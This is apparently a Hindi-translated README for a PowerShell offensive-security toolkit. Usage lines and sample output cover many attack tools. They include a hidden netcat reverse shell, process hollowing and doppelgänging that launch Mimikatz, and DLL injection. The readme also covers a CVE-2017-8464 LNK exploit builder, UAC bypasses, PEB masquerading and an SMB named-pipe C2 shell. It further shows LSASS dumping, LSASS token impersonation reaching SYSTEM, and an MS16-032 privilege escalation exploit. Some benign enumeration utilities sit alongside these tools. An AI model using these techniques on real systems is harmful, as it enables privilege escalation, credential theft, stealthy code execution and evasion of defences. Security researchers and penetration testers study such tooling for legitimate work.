fuzzysecurity/powershell-suiteमेरे PowerShell के साथ विचार
PowerShell में लगभग किसी भी कार्य को पूरा करने के लिए ऑनलाइन बेहतरीन उपकरण और संसाधन मौजूद हैं, हालाँकि कभी-कभी किसी विशेष उद्देश्य के लिए या किसी ऑन्टोलॉजिकल अंतर को पाटने के लिए एक उपयोगिता (util) को स्क्रिप्ट करने की आवश्यकता होती है। यह PowerShell उपयोगिताओं का एक संग्रह है जिसे मैंने या तो मनोरंजन के लिए या इसलिए एक साथ रखा है क्योंकि मेरे मन में एक संकीर्ण अनुप्रयोग था।
इसलिए, इनसे आपको मिलने वाला लाभ भिन्न हो सकता है, लेकिन बेझिझक issues पोस्ट करें या fork करके अनुकूलित करें!
PowerShell से Windows API एक्सेस करने के लिए परामर्श हेतु कुछ संसाधन:
कार्यात्मक रूप से Windows "runas.exe" के समकक्ष, Advapi32::CreateProcessWithLogonW का उपयोग करते हुए।``` Start cmd with a local account. C:\PS> Invoke-Runas -User SomeAccount -Password SomePass -Binary C:\Windows\System32\cmd.exe -LogonType 0x1
Start cmd with remote credentials. Equivalent to "/netonly" in runas. C:\PS> Invoke-Runas -User SomeAccount -Password SomePass -Domain SomeDomain -Binary C:\Windows\System32\cmd.exe -LogonType 0x2
### Invoke-NetSessionEnum
डोमेन से जुड़े मशीनों पर सक्रिय सत्रों की गणना करने के लिए Netapi32::NetSessionEnum का उपयोग करें।```
Enumerate active sessions on "SomeHostName".
C:\PS> Invoke-NetSessionEnum -HostName SomeHostName
PowerShell से प्रोसेस निर्माण पर बारीक नियंत्रण प्राप्त करने के लिए Kernel32::CreateProcess का उपयोग करें।``` Start calc with NONE/SW_SHOWNORMAL/STARTF_USESHOWWINDOW C:\PS> Invoke-CreateProcess -Binary C:\Windows\System32\calc.exe -CreationFlags 0x0 -ShowWindow 0x1 -StartF 0x1
Start nc reverse shell with CREATE_NO_WINDOW/SW_HIDE/STARTF_USESHOWWINDOW C:\PS> Invoke-CreateProcess -Binary C:\Some\Path\nc.exe -Args "-nv 127.0.0.1 9988 -e C:\Windows\System32\cmd.exe" -CreationFlags 0x8000000 -ShowWindow 0x0 -StartF 0x1
### Detect-Debug
PowerShell से Kernel/User-Mode डीबगर्स की उपस्थिति का पता लगाने के लिए कई तकनीकों का प्रदर्शन करता है।```
Sample below is x64 Win8, WinDbg attached to PowerShell.
C:\PS> Detect-Debug
[+] Detect Kernel-Mode Debugging
[?] SystemKernelDebuggerInformation: False
[+] Detect User-Mode Debugging
[?] CloseHandle Exception: Detected
[?] IsDebuggerPresent: Detected
[?] CheckRemoteDebuggerPresent: Detected
[?] PEB!BeingDebugged: Detected
[?] PEB!NtGlobalFlag: Detected
[?] DebugSelf: Detected
निर्दिष्ट प्रक्रिया में खुले हैंडल (handles) की सूची प्राप्त करने के लिए NtQuerySystemInformation::SystemHandleInformation का उपयोग करें, यह x32/x64 पर कार्य करता है।``` Get handles for PID 2288 C:\PS> Get-Handles -ProcID 2288
[>] PID 2288 --> notepad [+] Calling NtQuerySystemInformation::SystemHandleInformation [?] Success, allocated 449300 byte result buffer
[>] Result buffer contains 28081 SystemHandleInformation objects [>] PID 2288 has 71 handle objects
PID ObjectType HandleFlags Handle KernelPointer AccessMask
2288 Directory NONE 0x0004 0x88E629F0 0x00000000 2288 File NONE 0x0008 0x84560C98 0x00100000 2288 File NONE 0x000C 0x846164F0 0x00100000 2288 Key NONE 0x0010 0xA3067A80 0x00020000 2288 ALPC Port NONE 0x0014 0x8480C810 0x001F0000 2288 Mutant NONE 0x0018 0x8591FEB8 0x001F0000 2288 Key NONE 0x001C 0x96719C48 0x00020000 2288 Event NONE 0x0020 0x850C6838 0x001F0000 ...Snip...
### Get-TokenPrivs
किसी प्रोसेस का हैंडल खोलें और प्रोसेस टोकन से जुड़े विशेषाधिकारों को सूचीबद्ध करने के लिए Advapi32::GetTokenInformation का उपयोग करें।```
Get token privileges for PID 3836
C:\PS> Get-TokenPrivs -ProcID 3836
[?] PID 3836 --> calc
[+] Process handle: 1428
[+] Token handle: 1028
[+] Token has 5 privileges:
LUID Privilege
---- ---------
19 SeShutdownPrivilege
23 SeChangeNotifyPrivilege
25 SeUndockPrivilege
33 SeIncreaseWorkingSetPrivilege
34 SeTimeZonePrivilege
Get-Exports, DLL निर्यात प्राप्त करता है और वैकल्पिक रूप से C++ रैपर आउटपुट प्रदान करता है (ExportsToC++ के समान, लेकिन VS और संकलित बाइनरी की आवश्यकता के बिना)। ऐसा करने के लिए यह DLL बाइट्स को मेमोरी में पढ़ता है और फिर उन्हें पार्स करता है (कोई LoadLibraryEx नहीं)। इस कारण, आप PowerShell की बिटनेस की परवाह किए बिना x32/x64 DLL को पार्स कर सकते हैं।``` PS C:> Get-Exports -DllPath C:\Windows\System32\ubpm.dll
[?] 32-bit Image!
[>] Time Stamp: 07/15/2016 18:07:55 [>] Function Count: 16 [>] Named Functions: 16 [>] Ordinal Base: 1 [>] Function Array RVA: 0x2F578 [>] Name Array RVA: 0x2F5B8 [>] Ordinal Array RVA: 0x2F5F8
Ordinal ImageRVA FunctionName
1 0x000242A0 UbpmAcquireJobBackgroundMode
2 0x00004750 UbpmApiBufferFree
3 0x00004E30 UbpmCloseTriggerConsumer
4 0x000135E0 UbpmInitialize
5 0x00008D00 UbpmOpenTriggerConsumer
6 0x000242C0 UbpmReleaseJobBackgroundMode
7 0x00013230 UbpmSessionStateChanged
8 0x000242E0 UbpmTerminate
9 0x00003BD0 UbpmTriggerConsumerConfigure
10 0x000040C0 UbpmTriggerConsumerControl
11 0x00025B10 UbpmTriggerConsumerControlNotifications
12 0x00025B40 UbpmTriggerConsumerQueryStatus
13 0x0000E1B0 UbpmTriggerConsumerRegister
14 0x000043F0 UbpmTriggerConsumerSetDisabledForUser
15 0x00012480 UbpmTriggerConsumerSetStatePublishingSecurity
16 0x00005330 UbpmTriggerConsumerUnregister
### Get-SystemModuleInformation
लोड किए गए मॉड्यूल, उनके बेस एड्रेस और साइज़ (x32/x64) की सूची प्राप्त करने के लिए NtQuerySystemInformation::SystemModuleInformation का उपयोग करें।```
PS C:\> Get-SystemModuleInformation
[+] Calling NtQuerySystemInformation::SystemModuleInformation
[?] Success, allocated 55656 byte result buffer
[?] Result buffer contains 188 SystemModuleInformation objects
ImageBase ImageSize ImageName
--------- --------- ---------
0xFFFFF80314C0D000 0x749000 \SystemRoot\system32\ntoskrnl.exe
0xFFFFF80315356000 0x6C000 \SystemRoot\system32\hal.dll
0xFFFFF803149ED000 0x9000 \SystemRoot\system32\kd.dll
0xFFFFF88000CB5000 0x5C000 \SystemRoot\System32\drivers\CLFS.SYS
0xFFFFF88000D11000 0x23000 \SystemRoot\System32\drivers\tm.sys
0xFFFFF88000D34000 0x15000 \SystemRoot\system32\PSHED.dll
0xFFFFF88000D49000 0xA000 \SystemRoot\system32\BOOTVID.dll
0xFFFFF88000D53000 0x7F000 \SystemRoot\system32\CI.dll
0xFFFFF88001068000 0x63000 \SystemRoot\System32\drivers\msrpc.sys
0xFFFFF880010CB000 0xC2000 \SystemRoot\system32\drivers\Wdf01000.sys
0xFFFFF8800118D000 0x10000 \SystemRoot\system32\drivers\WDFLDR.SYS
...Snip...
PowerShell में reflection के माध्यम से .NET API कक्षाओं को उजागर करने के लिए एक अपरिष्कृत उपकरण। इसमें आंतरिक निजी कक्षाएं शामिल हैं, जैसे Microsoft.Win32.UnsafeNativeMethods।```
C:\PS> Expose-NetAPI -Search bitmap
[!] Search returned no results, try specifying the namespace!
C:\PS> Expose-NetAPI -Search bitmap -Namespace System.Drawing
Assembly TypeName Name Definition
System.Drawing.dll System.Windows.Forms.DpiHelper CreateResizedBitmap static System.Drawing.Bitmap Crea... System.Drawing.dll System.Windows.Forms.DpiHelper ScaleBitmapLogicalToDevice static void ScaleBitmapLogicalToD... System.Drawing.dll System.Drawing.Bitmap FromHbitmap static System.Drawing.Bitmap From... System.Drawing.dll System.Drawing.BitmapSelector CreateBitmap static System.Drawing.Bitmap Crea... System.Drawing.dll System.Drawing.Image FromHbitmap static System.Drawing.Bitmap From... System.Drawing.dll System.Drawing.SafeNativeMethods CreateBitmap static System.IntPtr CreateBitmap... System.Drawing.dll System.Drawing.SafeNativeMethods CreateCompatibleBitmap static System.IntPtr CreateCompat... System.Drawing.dll System.Drawing.SafeNativeMethods IntCreateBitmap static System.IntPtr IntCreateBit... System.Drawing.dll System.Drawing.SafeNativeMethods IntCreateCompatibleBitmap static System.IntPtr IntCreateCom... System.Drawing.dll System.Drawing.Imaging.Metafile FromHbitmap static System.Drawing.Bitmap From...
C:\PS> Expose-NetAPI -Search drawbutton |Select Assembly,TypeName,Name |ft
Assembly TypeName Name
System.Windows.Forms.dll System.Windows.Forms.ButtonRenderer DrawButton System.Windows.Forms.dll System.Windows.Forms.ControlPaint DrawButton System.Windows.Forms.dll System.Windows.Forms.DataGridViewButtonCell+Da... DrawButton
C:\PS> Expose-NetAPI -Enable -Assembly System.Windows.Forms.dll -TypeName System.Windows.Forms.SafeNativeMethods
[!] Unable to locate specified assembly!
C:\PS> Expose-NetAPI -Load System.Windows.Forms True
C:\PS> Expose-NetAPI -Enable -Assembly System.Windows.Forms.dll -TypeName System.Windows.Forms.SafeNativeMethods
[+] Created $SystemWindowsFormsSafeNativeMethods!
C:\PS> Expose-NetAPI -Enable -Assembly System.dll -TypeName Microsoft.Win32.UnsafeNativeMethods |Out-Null C:\PS> Expose-NetAPI -Enable -Assembly System.dll -TypeName Microsoft.Win32.SafeNativeMethods |Out-Null C:\PS> $ModHandle = $MicrosoftWin32UnsafeNativeMethods::GetModuleHandle("kernel32.dll") C:\PS> $Kernel32Ref = New-Object System.Runtime.InteropServices.HandleRef([IntPtr]::Zero,$ModHandle) C:\PS> $Beep = $MicrosoftWin32UnsafeNativeMethods::GetProcAddress($Kernel32Ref, "Beep") C:\PS> $MicrosoftWin32SafeNativeMethods::MessageBox([IntPtr]::Zero,$("{0:X}" -f [int64]$Beep),"Beep",0)
### Get-ProcessMiniDump
Dbghelp::MiniDumpWriteDump का उपयोग करके प्रोसेस डंप बनाएँ।```
# Elevated user dumping elevated process
C:\PS> (Get-Process lsass).Id
528
C:\PS> $CallResult = Get-ProcessMiniDump -ProcID 528 -Path C:\Users\asenath.waite\Desktop\tmp.ini -Verbose
VERBOSE: [?] Running as: Administrator
VERBOSE: [?] Administrator privileges required
VERBOSE: [>] Administrator privileges held
VERBOSE: [>] Process dump success!
C:\PS> $CallResult
True
# low priv user dumping low priv process
C:\PS> (Get-Process calc).Id
2424
C:\PS> $CallResult = Get-ProcessMiniDump -ProcID 2424 -Path C:\Users\asenath.waite\Desktop\tmp.ini -Verbose
VERBOSE: [?] Running as: asenath.waite
VERBOSE: [>] Process dump success!
C:\PS> $CallResult
True
# low priv user dumping elevated process
C:\PS> $CallResult = Get-ProcessMiniDump -ProcID 4 -Path C:\Users\asenath.waite\Desktop\tmp.ini -Verbose
VERBOSE: [?] Running as: asenath.waite
VERBOSE: [?] Administrator privileges required
VERBOSE: [!] Administrator privileges not held!
C:\PS> $CallResult
False
प्रक्रियाओं और प्रक्रिया गुणों की विस्तृत सूची प्राप्त करने के लिए NtQuerySystemInformation::SystemProcessInformation का उपयोग करें। बारीकी से निरीक्षण करने पर आप पाएंगे कि Sysinternals Process Explorer या Process Hacker जैसे कई प्रक्रिया मॉनिटर इस सूचना वर्ग का उपयोग करते हैं (SystemPerformanceInformation, SystemProcessorPerformanceInformation और SystemProcessorCycleTimeInformation के अतिरिक्त)।```
C:\PS> Get-SystemProcessInformation
C:\PS> Get-SystemProcessInformation -ProcID 1336
PID : 1336 InheritedFromPID : 1020 ImageName : svchost.exe Priority : 8 CreateTime : 0d:9h:8m:47s UserCPU : 0d:0h:0m:0s KernelCPU : 0d:0h:0m:0s ThreadCount : 12 HandleCount : 387 PageFaults : 7655 SessionId : 0 PageDirectoryBase : 3821568 PeakVirtualSize : 2097249.796875 MB VirtualSize : 2097240.796875 MB PeakWorkingSetSize : 11.65625 MB WorkingSetSize : 6.2109375 MB QuotaPeakPagedPoolUsage : 0.175910949707031 MB QuotaPagedPoolUsage : 0.167121887207031 MB QuotaPeakNonPagedPoolUsage : 0.0151519775390625 MB QuotaNonPagedPoolUsage : 0.0137710571289063 MB PagefileUsage : 3.64453125 MB PeakPagefileUsage : 4.14453125 MB PrivatePageCount : 3.64453125 MB ReadOperationCount : 0 WriteOperationCount : 0 OtherOperationCount : 223 ReadTransferCount : 0 WriteTransferCount : 0 OtherTransferCount : 25010
C:\PS> Get-SystemProcessInformation -ProcName note
### Get-OSTokenInformation
Get-OSTokenInformation सभी (सुलभ) उपयोगकर्ता टोकन प्राप्त करने और उनके विवरण के लिए क्वेरी करने हेतु विभिन्न API का उपयोग करता है।```
# Return full token listing
C:\PS> $OsTokens = Get-OSTokenInformation
C:\PS> $OsTokens.Count
136
C:\PS> $OsTokens[10]
PassMustChange : N/A
ProcessCompany : Microsoft Corporation
AuthPackage : NTLM
TokenType : TokenPrimary
PID : 5876
LastSuccessfulLogon : N/A
Session : 1
LastFailedLogon : N/A
ProcessPath : C:\Windows\system32\backgroundTaskHost.exe
LogonServer : MSEDGEWIN10
Sid : S-1-5-21-4233833229-2203495600-2027003190-1000
ProcessAuthenticode : Valid
User : MSEDGEWIN10\IEUser
LoginTime : 4/16/2018 9:52:20 PM
TokenPrivilegeCount : 5
TokenPrivileges : {SeShutdownPrivilege, SeChangeNotifyPrivilege, SeUndockPrivilege,
SeIncreaseWorkingSetPrivilege...}
Process : backgroundTaskHost
PassLastSet : 10/17/2017 6:13:19 PM
ImpersonationType : N/A
TID : Primary
TokenGroups : {MSEDGEWIN10\IEUser, MSEDGEWIN10\None, Everyone, NT AUTHORITY\Local account and member of
Administrators group...}
LogonType : Interactive
GroupCount : 14
Elevated : No
# Return brief token listing
C:\PS> Get-OSTokenInformation -Brief
Process PID TID Elevated ImpersonationType User
------- --- --- -------- ----------------- ----
ApplicationFrameHost 5820 Primary No N/A MSEDGEWIN10\IEUser
backgroundTaskHost 1076 Primary No N/A MSEDGEWIN10\IEUser
backgroundTaskHost 1960 Primary No N/A MSEDGEWIN10\IEUser
backgroundTaskHost 7860 Primary No N/A MSEDGEWIN10\IEUser
CompatTelRunner 680 Primary Yes N/A NT AUTHORITY\SYSTEM
CompatTelRunner 6916 Primary Yes N/A NT AUTHORITY\SYSTEM
CompatTelRunner 8488 Primary Yes N/A NT AUTHORITY\SYSTEM
svchost 3572 Primary Yes N/A NT AUTHORITY\SYSTEM
svchost 3900 Primary Yes N/A NT AUTHORITY\SYSTEM
svchost 4292 Primary Yes N/A NT AUTHORITY\SYSTEM
svchost 4292 144 No SecurityImpersonation MSEDGEWIN10\IEUser
svchost 4292 7704 No SecurityImpersonation MSEDGEWIN10\IEUser
svchost 4292 1404 No SecurityImpersonation MSEDGEWIN10\IEUser
svchost 4464 Primary No N/A MSEDGEWIN10\IEUser
svchost 4556 Primary No N/A MSEDGEWIN10\IEUser
[... Snip ...]
यह NT हार्ड लिंक्स के लिए एक प्रूफ-ऑफ-कॉन्सेप्ट है। आक्रामक दृष्टिकोण से, NtSetInformationFile का उपयोग करके हार्ड लिंक बनाने के कुछ लाभ हैं (mklink/CreateHardLink के विपरीत)। NtSetInformationFile हमें उन फाइलों से लिंक करने की अनुमति देता है जिनके लिए हमारे पास लिखने की पहुंच नहीं है।``` PS C:> Native-HardLink -Link C:\Some\Path\Hard.Link -Target C:\Some\Path\Target.file True
## pwnd
### Start-Hollow
यह प्रोसेस हॉलोइंग के लिए एक प्रूफ-ऑफ-कॉन्सेप्ट है। यहाँ कुछ भी नया नहीं है, सिवाय शायद NtCreateProcessEx के उपयोग के, जिसके कुछ फायदे हैं क्योंकि यह पैरेंट प्रोसेस सेट करने का एक सुविधाजनक तरीका प्रदान करता है और परेशान करने वाले Get/SetThreadContext से बचाता है। दूसरी ओर, CreateRemoteThreadEx/NtCreateThreadEx काफी संदिग्ध API हैं।```
# Create a Hollow from a PE on disk with explorer as the parent.
# x64 Win10 RS4
C:\PS> Start-Hollow -Sponsor C:\Windows\System32\notepad.exe -Hollow C:\Some\PE.exe -ParentPID 8304 -Verbose
VERBOSE: [?] A place where souls may mend your ailing mind..
VERBOSE: [+] Opened file for access
VERBOSE: [+] Created section from file handle
VERBOSE: [+] Opened handle to the parent => explorer
VERBOSE: [+] Created process from section
VERBOSE: [+] Acquired PBI
VERBOSE: [+] Sponsor architecture is x64
VERBOSE: [+] Sponsor ImageBaseAddress => 7FF69E9F0000
VERBOSE: [+] Allocated space for the Hollow process
VERBOSE: [+] Duplicated Hollow PE headers to the Sponsor
VERBOSE: [+] Duplicated .text section to the Sponsor
VERBOSE: [+] Duplicated .rdata section to the Sponsor
VERBOSE: [+] Duplicated .data section to the Sponsor
VERBOSE: [+] Duplicated .pdata section to the Sponsor
VERBOSE: [+] Duplicated .rsrc section to the Sponsor
VERBOSE: [+] Duplicated .reloc section to the Sponsor
VERBOSE: [+] New process ImageBaseAddress => 40000000
VERBOSE: [+] Created Hollow process parameters
VERBOSE: [+] Allocated memory in the Hollow
VERBOSE: [+] Process parameters duplicated into the Hollow
VERBOSE: [+] Rewrote Hollow->PEB->pProcessParameters
VERBOSE: [+] Created Hollow main thread..
True
यह doppelgänging के लिए एक proof-of-concept है, जिसे हाल ही में enSilo द्वारा BlackHat EU में प्रस्तुत किया गया था। सरल शब्दों में, इस प्रक्रिया में डिस्क पर मौजूद किसी फ़ाइल (कोई भी फ़ाइल चलेगी) से एक NTFS transaction बनाना शामिल है। इसके बाद हम फ़ाइल को मेमोरी में अधिलेखित करते हैं, संशोधित फ़ाइल से एक section बनाते हैं और उस section के आधार पर एक process लॉन्च करते हैं। बाद में हम transaction को roll back कर देते हैं, जिससे मूल फ़ाइल अपरिवर्तित रहती है, लेकिन हमारे पास एक ऐसा process होता है जो मूल फ़ाइल द्वारा समर्थित प्रतीत होता है। अधिक संपूर्ण विवरण के लिए कृपया स्क्रिप्ट में दिए गए संदर्भ को देखें।```
C:\PS> Start-Eidolon -Target C:\Some\File.Path -Eidolon C:\Some\Other\File.Path -ParentPID 12784 -Verbose VERBOSE: [+] Created transaction object VERBOSE: [+] Created transacted file VERBOSE: [+] Overwriting transacted file VERBOSE: [+] Created section from transacted file VERBOSE: [+] Rolled back transaction changes VERBOSE: [+] Opened handle to the parent => explorer VERBOSE: [+] Created process from section VERBOSE: [+] Acquired Eidolon PBI VERBOSE: [+] Eidolon architecture is 64-bit VERBOSE: [+] Eidolon image base: 0x7FF6A0570000 VERBOSE: [+] Eidolon entry point: 0x7FF6A05E40C8 VERBOSE: [+] Created Eidolon process parameters VERBOSE: [+] Allocated memory in Eidolon VERBOSE: [+] Process parameters duplicated into Eidolon VERBOSE: [+] Rewrote Eidolon->PEB->pProcessParameters VERBOSE: [+] Created Eidolon main thread.. True
C:\PS> Start-Eidolon -Target C:\Some\File.Path -Mimikatz -Verbose VERBOSE: [+] Created transaction object VERBOSE: [+] Created transacted file VERBOSE: [+] Overwriting transacted file VERBOSE: [+] Created section from transacted file VERBOSE: [+] Rolled back transaction changes VERBOSE: [+] Created process from section VERBOSE: [+] Acquired Eidolon PBI VERBOSE: [+] Eidolon architecture is 32-bit VERBOSE: [+] Eidolon image base: 0x400000 VERBOSE: [+] Eidolon entry point: 0x4572D2 VERBOSE: [+] Created Eidolon process parameters VERBOSE: [+] Allocated memory in Eidolon VERBOSE: [+] Process parameters duplicated into Eidolon VERBOSE: [+] Rewrote Eidolon->PEB->pProcessParameters VERBOSE: [+] Created Eidolon main thread.. True
### Stage-RemoteDll
Stage-RemoteDll एक छोटा फ़ंक्शन है जो 32 और 64 बिट आर्किटेक्चर पर विभिन्न Dll इंजेक्शन तकनीकों (NtCreateThreadEx / QueueUserAPC / SetThreadContext / SetWindowsHookEx) को प्रदर्शित करता है। हालाँकि मैंने कुछ इनपुट सत्यापन और सफाई की है, यह अधिकतर POC कोड है। यह भी ध्यान दें कि इन तकनीकों को आसानी से रिमोट प्रोसेस में shellcode को सीधे निष्पादित करने के लिए पुनः उपयोग किया जा सकता है।```
# Boolean return value
C:\PS> $CallResult = Stage-RemoteDll -ProcID 1337 -DllPath .\Desktop\evil.dll -Mode NtCreateThreadEx
C:\PS> $CallResult
True
# Verbose output
C:\PS> Stage-RemoteDll -ProcID 1337 -DllPath .\Desktop\evil.dll -Mode QueueUserAPC -Verbose
VERBOSE: [+] Using QueueUserAPC
VERBOSE: [>] Opening notepad
VERBOSE: [>] Allocating DLL path memory
VERBOSE: [>] Writing DLL string
VERBOSE: [>] Locating LoadLibraryA
VERBOSE: [>] Getting process threads
VERBOSE: [>] Registering APC's with all threads
VERBOSE: --> Success, registered APC
VERBOSE: --> Success, registered APC
VERBOSE: --> Success, registered APC
VERBOSE: --> Success, registered APC
VERBOSE: [>] Cleaning up..
True
CVE-2017-8464 उर्फ LNK राउंड 3 ;))! का शोषण करने के लिए LNK फ़ाइलें बनाएँ
वर्तमान में, यह अनुशंसित है कि आप lnk को स्थानीय रूप से बनाएँ और फिर .Net और PowerShell निर्भरताओं के कारण इसे लक्ष्य सिस्टम पर ले जाएँ। अधिक विवरण के लिए कृपया फ़ंक्शन सारांश देखें।``` C:\PS> Export-LNKPwn -LNKOutPath C:\Some\Local\Path.lnk -TargetCPLPath C:\Target\CPL\Path.cpl -Type SpecialFolderDataBlock
### UAC-TokenMagic
James Forshaw के UAC पर तीन-भाग वाले पोस्ट पर आधारित, नीचे लिंक किया गया है, और संभवतः CIA द्वारा इस्तेमाल की गई तकनीक!
मूल रूप से हम एक elevated प्रक्रिया के टोकन की नकल करते हैं, उसके अनिवार्य अखंडता स्तर (mandatory integrity level) को कम करते हैं, उसे एक नया प्रतिबंधित टोकन बनाने के लिए उपयोग करते हैं, उसे impersonate करते हैं और Secondary Logon सेवा का उपयोग करके High IL के साथ एक नई प्रक्रिया spawn करते हैं। जैसे टोकन के साथ छुपन-छुपाई खेलना! ;))
यह तकनीक AlwaysNotify सेटिंग को भी बायपास करती है, बशर्ते आप इसे एक elevated प्रक्रिया के लिए PID प्रदान करें।
लक्ष्य:
7,8,8.1,10,10RS1,10RS2```
C:\PS> UAC-TokenMagic -BinPath C:\Windows\System32\cmd.exe -Args "/c calc.exe" -ProcPID 1116
[*] Session is not elevated
[*] Successfully acquired regedit handle
[*] Opened process token
[*] Duplicated process token
[*] Initialized MedIL SID
[*] Lowered token mandatory IL
[*] Created restricted token
[*] Duplicated restricted token
[*] Successfully impersonated security context
[*] Magic..
Bypass-UAC, स्वचालित रूप से IFileOperation COM ऑब्जेक्ट विधि कॉल्स को एलिवेट करने पर आधारित UAC बाईपास करने के लिए एक फ्रेमवर्क प्रदान करता है। यह कोई नई तकनीक नहीं है; परंपरागत रूप से, यह “explorer.exe” में एक DLL इंजेक्ट करके पूरा किया जाता है। यह वांछनीय नहीं है क्योंकि explorer में इंजेक्ट करने से सुरक्षा अलर्ट ट्रिगर हो सकते हैं और अनमैनेज्ड DLL के साथ काम करना एक लचीला कार्य-प्रवाह नहीं बनाता है।
इससे बचने के लिए, Bypass-UAC एक फ़ंक्शन लागू करता है जो PowerShell के PEB को फिर से लिखता है ताकि उसे “explorer.exe” का रूप दिया जा सके। यह समान प्रभाव प्रदान करता है क्योंकि COM ऑब्जेक्ट विशेष रूप से Windows के Process Status API (PSAPI) पर निर्भर करते हैं, जो प्रक्रिया के PEB को पढ़ता है।``` C:\PS> Bypass-UAC -Method ucmDismMethod
[!] Impersonating explorer.exe! [+] PebBaseAddress: 0x000007F73E93F000 [!] RtlEnterCriticalSection --> &Peb->FastPebLock [>] Overwriting &Peb->ProcessParameters.ImagePathName: 0x000000569B5F1780 [>] Overwriting &Peb->ProcessParameters.CommandLine: 0x000000569B5F1790 [?] Traversing &Peb->Ldr->InLoadOrderModuleList doubly linked list [>] Overwriting _LDR_DATA_TABLE_ENTRY.FullDllName: 0x000000569B5F2208 [>] Overwriting _LDR_DATA_TABLE_ENTRY.BaseDllName: 0x000000569B5F2218 [!] RtlLeaveCriticalSection --> &Peb->FastPebLock
[>] Dropping proxy dll.. [+] 64-bit Yamabiko: C:\Users\b33f\AppData\Local\Temp\yam1730961377.tmp [>] Creating XML trigger: C:\Users\b33f\AppData\Local\Temp\pac500602004.xml [>] Performing elevated IFileOperation::MoveItem operation..
[?] Executing PkgMgr.. [!] UAC artifact: C:\Windows\System32\dismcore.dll [!] UAC artifact: C:\Users\b33f\AppData\Local\Temp\pac500602004.xml
### Masquerade-PEB
Masquerade-PEB, powershell के PEB तक हैंडल प्राप्त करने के लिए NtQueryInformationProcess का उपयोग करता है। वहाँ से यह मेमोरी में कई UNICODE_STRING स्ट्रक्चर्स को बदल देता है ताकि powershell को एक भिन्न प्रक्रिया का रूप दिया जा सके। विशेष रूप से, फ़ंक्शन _RTL_USER_PROCESS_PARAMETERS में powershell की "ImagePathName" और "CommandLine" तथा _LDR_DATA_TABLE_ENTRY लिंक्ड लिस्ट में "FullDllName" और "BaseDllName" को अधिलेखित कर देगा।
यह उपयोगी हो सकता है क्योंकि यह किसी भी Windows वर्कफ़्लो को धोखा देगा जो प्रक्रिया पहचान की जाँच के लिए केवल Process Status API पर निर्भर करते हैं।```
C:\PS> Masquerade-PEB -BinPath C:\Windows\System32\notepad.exe
[?] PID 2756
[+] PebBaseAddress: 0x7FFD3000
[!] RtlEnterCriticalSection --> &Peb->FastPebLock
[>] Overwriting &Peb->ProcessParameters.ImagePathName: 0x002F11F8
[>] Overwriting &Peb->ProcessParameters.CommandLine: 0x002F1200
[?] Traversing &Peb->Ldr->InLoadOrderModuleList doubly linked list
[>] Overwriting _LDR_DATA_TABLE_ENTRY.FullDllName: 0x002F1B74
[>] Overwriting _LDR_DATA_TABLE_ENTRY.BaseDllName: 0x002F1B7C
[!] RtlLeaveCriticalSection --> &Peb->FastPebLock
नामित पाइप (System.IO.Pipes) का उपयोग करके C2 चैनल के रूप में POC शेल। SMB ट्रैफ़िक को AES CBC (Empire से कोड) का उपयोग करके एन्क्रिप्ट किया जाता है, key/pipe सर्वर द्वारा स्टार्ट-अप पर यादृच्छिक रूप से उत्पन्न किए जाते हैं।
सर्वर:``` PS C:> Invoke-SMBShell
+------- | Host Name: 0AK | Named Pipe: tapsrv.5604.yk0DxXvjUD9xwyJ9 | AES Key: q6EKfuJTX93YUnmX +-------
[>] Waiting for client..
SMB shell: whoami 0ak\b33f
SMB shell: IdontExist The term 'IdontExist' is not recognized as the name of a cmdlet, function, script file, or operable program. Check the spelling of the name, or if a path was included, verify that the path is correct and try again.
SMB shell: $PSVersionTable Name Value
PSRemotingProtocolVersion 2.2 BuildVersion 6.2.9200.17065 PSCompatibleVersions {1.0, 2.0, 3.0} PSVersion 3.0 CLRVersion 4.0.30319.42000 WSManStackVersion 3.0 SerializationVersion 1.1.0.1
SMB shell: leave
[!] Client disconnecting..
[>] Waiting for client..
SMB shell: calc Job SMBJob-dVkIkAkXINjMe09S completed successfully!
SMB shell: exit
[!] Client disconnecting.. [!] Terminating server..
PS C:>
**क्लाइंट:**```
# Client disconnected because of "leave" command
PS C:\> Invoke-SMBShell -Client -Server 0AK -AESKey q6EKfuJTX93YUnmX -Pipe tapsrv.5604.yk0DxXvjUD9xwyJ9
# Client disconnected because "exit" command kills client/server
PS C:\> Invoke-SMBShell -Client -Server 0AK -AESKey q6EKfuJTX93YUnmX -Pipe tapsrv.5604.yk0DxXvjUD9xwyJ9
SeDebugPrivilege का उपयोग करके LSASS एक्सेस टोकन को डुप्लिकेट करें और इसे कॉलिंग थ्रेड में इम्पर्सनेट करें। यदि SeDebugPrivilege अक्षम है, तो फ़ंक्शन इसे पुनः सक्षम कर देगा।``` Conjure LSASS into our midst! ;) C:\PS> Conjure-LSASS
[?] SeDebugPrivilege is available!
[+] Current process handle: 852
[>] Calling Advapi32::OpenProcessToken [+] Token handle with TOKEN_ADJUST_PRIVILEGES|TOKEN_QUERY: 2000
[?] SeDebugPrivilege is enabled!
[>] Calling Advapi32::OpenProcessToken --> LSASS [+] Token handle with TOKEN_IMPERSONATE|TOKEN_DUPLICATE: 1512
[>] Calling Advapi32::DuplicateToken --> LSASS [+] Duplicate token handle with SecurityImpersonation level: 2008
[>] Calling Advapi32::SetThreadToken [+] Knock knock .. who's there .. LSASS [+] User context: SYSTEM
C:\PS> whoami ERROR: Access is denied. ERROR: Access is denied.
C:\PS> Get-ChildItem -Path hklm:SAM
Hive: HKEY_LOCAL_MACHINE\SAM
SKC VC Name Property
3 2 SAM {C, ServerDomainUpdates}
### Invoke-MS16-032
MS16-032 का PowerShell कार्यान्वयन। यह एक्सप्लॉइट उन सभी कमजोर ऑपरेटिंग सिस्टमों को लक्षित करता है जो PowerShell v2+ का समर्थन करते हैं। बग की खोज और इसे एक्सप्लॉइट करने के तर्क का श्रेय James Forshaw (@tiraniddo) को जाता है।
लक्ष्य:
* Win7-Win10 & 2k8-2k12 <== 32/64 बिट!
* x32 Win7, x64 Win8, x64 2k12R2 पर परीक्षण किया गया
==> Vista पर PowerShell v1 के साथ परीक्षण नहीं किया गया, यदि आप इसे जाँच पाते हैं तो मुझे बताएं कि क्या होता है!```
Sit back and watch the pwn!
C:\PS> Invoke-MS16-032
__ __ ___ ___ ___ ___ ___ ___
| V | _|_ | | _|___| |_ |_ |
| |_ |_| |_| . |___| | |_ | _|
|_|_|_|___|_____|___| |___|___|___|
[by b33f -> @FuzzySec]
[?] Operating system core count: 2
[>] Duplicating CreateProcessWithLogonW handle
[?] Done, using thread handle: 956
[*] Sniffing out privileged impersonation token..
[?] Thread belongs to: svchost
[+] Thread suspended
[>] Wiping current impersonation token
[>] Building SYSTEM impersonation token
[?] Success, open SYSTEM token handle: 964
